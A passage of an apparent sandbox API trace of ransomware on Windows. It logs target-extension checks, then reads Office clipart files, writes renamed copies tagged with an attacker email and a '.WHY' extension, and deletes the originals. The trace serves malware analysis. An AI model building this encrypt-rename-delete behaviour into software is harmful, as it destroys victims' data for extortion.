lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.809] lstrlenW (lpString=".dbf") returned 4 [0232.810] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.810] lstrlenW (lpString=".1cd") returned 4 [0232.810] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0232.810] lstrlenW (lpString=".jpg") returned 4 [0232.810] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.810] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0232.811] lstrlenW (lpString="AG00021_.GIF") returned 12 [0232.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0232.844] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=14873) returned 1 [0232.845] CloseHandle (hObject=0x384) returned 1 [0232.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0232.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0232.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0232.986] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.986] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0233.042] GetLastError () returned 0x0 [0233.042] ReadFile (in: hFile=0x388, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x3a19, lpOverlapped=0x0) returned 1 [0233.048] WriteFile (in: hFile=0x394, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0233.052] ReadFile (in: hFile=0x388, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0233.052] WriteFile (in: hFile=0x394, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.052] SetEndOfFile (hFile=0x394) returned 1 [0233.052] CloseHandle (hObject=0x394) returned 1 [0233.058] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.058] SetEndOfFile (hFile=0x388) returned 1 [0233.067] CloseHandle (hObject=0x388) returned 1 [0233.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0233.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.069] lstrlenW (lpString=".doc") returned 4 [0233.069] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.069] lstrlenW (lpString=".docx") returned 5 [0233.069] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.069] lstrlenW (lpString=".pdf") returned 4 [0233.069] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.069] lstrlenW (lpString=".xls") returned 4 [0233.069] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.069] lstrlenW (lpString=".xlsx") returned 5 [0233.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.070] lstrlenW (lpString=".ppt") returned 4 [0233.070] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.070] lstrlenW (lpString=".zip") returned 4 [0233.070] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.070] lstrlenW (lpString=".rar") returned 4 [0233.070] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.070] lstrlenW (lpString=".bz2") returned 4 [0233.070] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.070] lstrlenW (lpString=".7z") returned 3 [0233.070] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.071] lstrlenW (lpString=".dbf") returned 4 [0233.071] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.071] lstrlenW (lpString=".1cd") returned 4 [0233.071] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.071] lstrlenW (lpString=".jpg") returned 4 [0233.071] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.071] lstrlenW (lpString=".doc") returned 4 [0233.071] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.072] lstrlenW (lpString=".docx") returned 5 [0233.072] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.072] lstrlenW (lpString=".pdf") returned 4 [0233.072] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.072] lstrlenW (lpString=".xls") returned 4 [0233.072] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.072] lstrlenW (lpString=".xlsx") returned 5 [0233.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.072] lstrlenW (lpString=".ppt") returned 4 [0233.072] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.072] lstrlenW (lpString=".zip") returned 4 [0233.072] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.072] lstrlenW (lpString=".rar") returned 4 [0233.072] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.073] lstrlenW (lpString=".bz2") returned 4 [0233.073] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.073] lstrlenW (lpString=".7z") returned 3 [0233.073] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.073] lstrlenW (lpString=".dbf") returned 4 [0233.073] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.073] lstrlenW (lpString=".1cd") returned 4 [0233.073] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0233.233] lstrlenW (lpString=".jpg") returned 4 [0233.233] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.233] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0233.233] lstrlenW (lpString="AG00057_.GIF") returned 12 [0233.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0233.790] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=11891) returned 1 [0233.791] CloseHandle (hObject=0x380) returned 1 [0233.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0233.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0233.818] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.818] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0233.823] GetLastError () returned 0x0 [0233.823] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x2e73, lpOverlapped=0x0) returned 1 [0233.828] WriteFile (in: hFile=0x320, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0233.831] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0233.831] WriteFile (in: hFile=0x320, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.832] SetEndOfFile (hFile=0x320) returned 1 [0233.832] CloseHandle (hObject=0x320) returned 1 [0233.834] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.834] SetEndOfFile (hFile=0x354) returned 1 [0233.846] CloseHandle (hObject=0x354) returned 1 [0233.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0233.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.849] lstrlenW (lpString=".doc") returned 4 [0233.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.849] lstrlenW (lpString=".docx") returned 5 [0233.849] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.849] lstrlenW (lpString=".pdf") returned 4 [0233.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.849] lstrlenW (lpString=".xls") returned 4 [0233.849] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.849] lstrlenW (lpString=".xlsx") returned 5 [0233.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.849] lstrlenW (lpString=".ppt") returned 4 [0233.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.849] lstrlenW (lpString=".zip") returned 4 [0233.849] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.850] lstrlenW (lpString=".rar") returned 4 [0233.850] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.850] lstrlenW (lpString=".bz2") returned 4 [0233.850] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.850] lstrlenW (lpString=".7z") returned 3 [0233.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.850] lstrlenW (lpString=".dbf") returned 4 [0233.850] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.850] lstrlenW (lpString=".1cd") returned 4 [0233.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.850] lstrlenW (lpString=".jpg") returned 4 [0233.851] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.851] lstrlenW (lpString=".doc") returned 4 [0233.851] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.851] lstrlenW (lpString=".docx") returned 5 [0233.851] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.851] lstrlenW (lpString=".pdf") returned 4 [0233.851] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.851] lstrlenW (lpString=".xls") returned 4 [0233.851] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.852] lstrlenW (lpString=".xlsx") returned 5 [0233.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.852] lstrlenW (lpString=".ppt") returned 4 [0233.852] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.852] lstrlenW (lpString=".zip") returned 4 [0233.852] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.852] lstrlenW (lpString=".rar") returned 4 [0233.852] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.852] lstrlenW (lpString=".bz2") returned 4 [0233.852] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.852] lstrlenW (lpString=".7z") returned 3 [0233.852] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.853] lstrlenW (lpString=".dbf") returned 4 [0233.853] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.853] lstrlenW (lpString=".1cd") returned 4 [0233.853] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0233.853] lstrlenW (lpString=".jpg") returned 4 [0233.853] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.983] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0233.983] lstrlenW (lpString="AG00126_.GIF") returned 12 [0233.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0234.103] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=3140) returned 1 [0234.104] CloseHandle (hObject=0x394) returned 1 [0234.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0234.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0234.105] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0234.105] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0234.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0234.106] GetLastError () returned 0x0 [0234.106] ReadFile (in: hFile=0x394, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0xc44, lpOverlapped=0x0) returned 1 [0234.127] WriteFile (in: hFile=0x290, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xc50, lpOverlapped=0x0) returned 1 [0234.130] ReadFile (in: hFile=0x394, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0234.130] WriteFile (in: hFile=0x290, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.130] SetEndOfFile (hFile=0x290) returned 1 [0234.138] CloseHandle (hObject=0x290) returned 1 [0234.142] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0234.142] SetEndOfFile (hFile=0x394) returned 1 [0234.163] CloseHandle (hObject=0x394) returned 1 [0234.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0234.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.286] lstrlenW (lpString=".doc") returned 4 [0234.286] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.286] lstrlenW (lpString=".docx") returned 5 [0234.286] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.286] lstrlenW (lpString=".pdf") returned 4 [0234.286] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.286] lstrlenW (lpString=".xls") returned 4 [0234.286] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.286] lstrlenW (lpString=".xlsx") returned 5 [0234.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.286] lstrlenW (lpString=".ppt") returned 4 [0234.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.287] lstrlenW (lpString=".zip") returned 4 [0234.287] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.287] lstrlenW (lpString=".rar") returned 4 [0234.287] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.287] lstrlenW (lpString=".bz2") returned 4 [0234.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.287] lstrlenW (lpString=".7z") returned 3 [0234.287] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.287] lstrlenW (lpString=".dbf") returned 4 [0234.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.287] lstrlenW (lpString=".1cd") returned 4 [0234.288] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.288] lstrlenW (lpString=".jpg") returned 4 [0234.288] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.288] lstrlenW (lpString=".doc") returned 4 [0234.288] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.288] lstrlenW (lpString=".docx") returned 5 [0234.288] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.288] lstrlenW (lpString=".pdf") returned 4 [0234.288] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.288] lstrlenW (lpString=".xls") returned 4 [0234.289] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.289] lstrlenW (lpString=".xlsx") returned 5 [0234.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.289] lstrlenW (lpString=".ppt") returned 4 [0234.289] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.289] lstrlenW (lpString=".zip") returned 4 [0234.289] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.289] lstrlenW (lpString=".rar") returned 4 [0234.289] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.289] lstrlenW (lpString=".bz2") returned 4 [0234.289] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.289] lstrlenW (lpString=".7z") returned 3 [0234.289] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.290] lstrlenW (lpString=".dbf") returned 4 [0234.290] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.290] lstrlenW (lpString=".1cd") returned 4 [0234.290] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0234.290] lstrlenW (lpString=".jpg") returned 4 [0234.292] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.382] lstrcmpiW 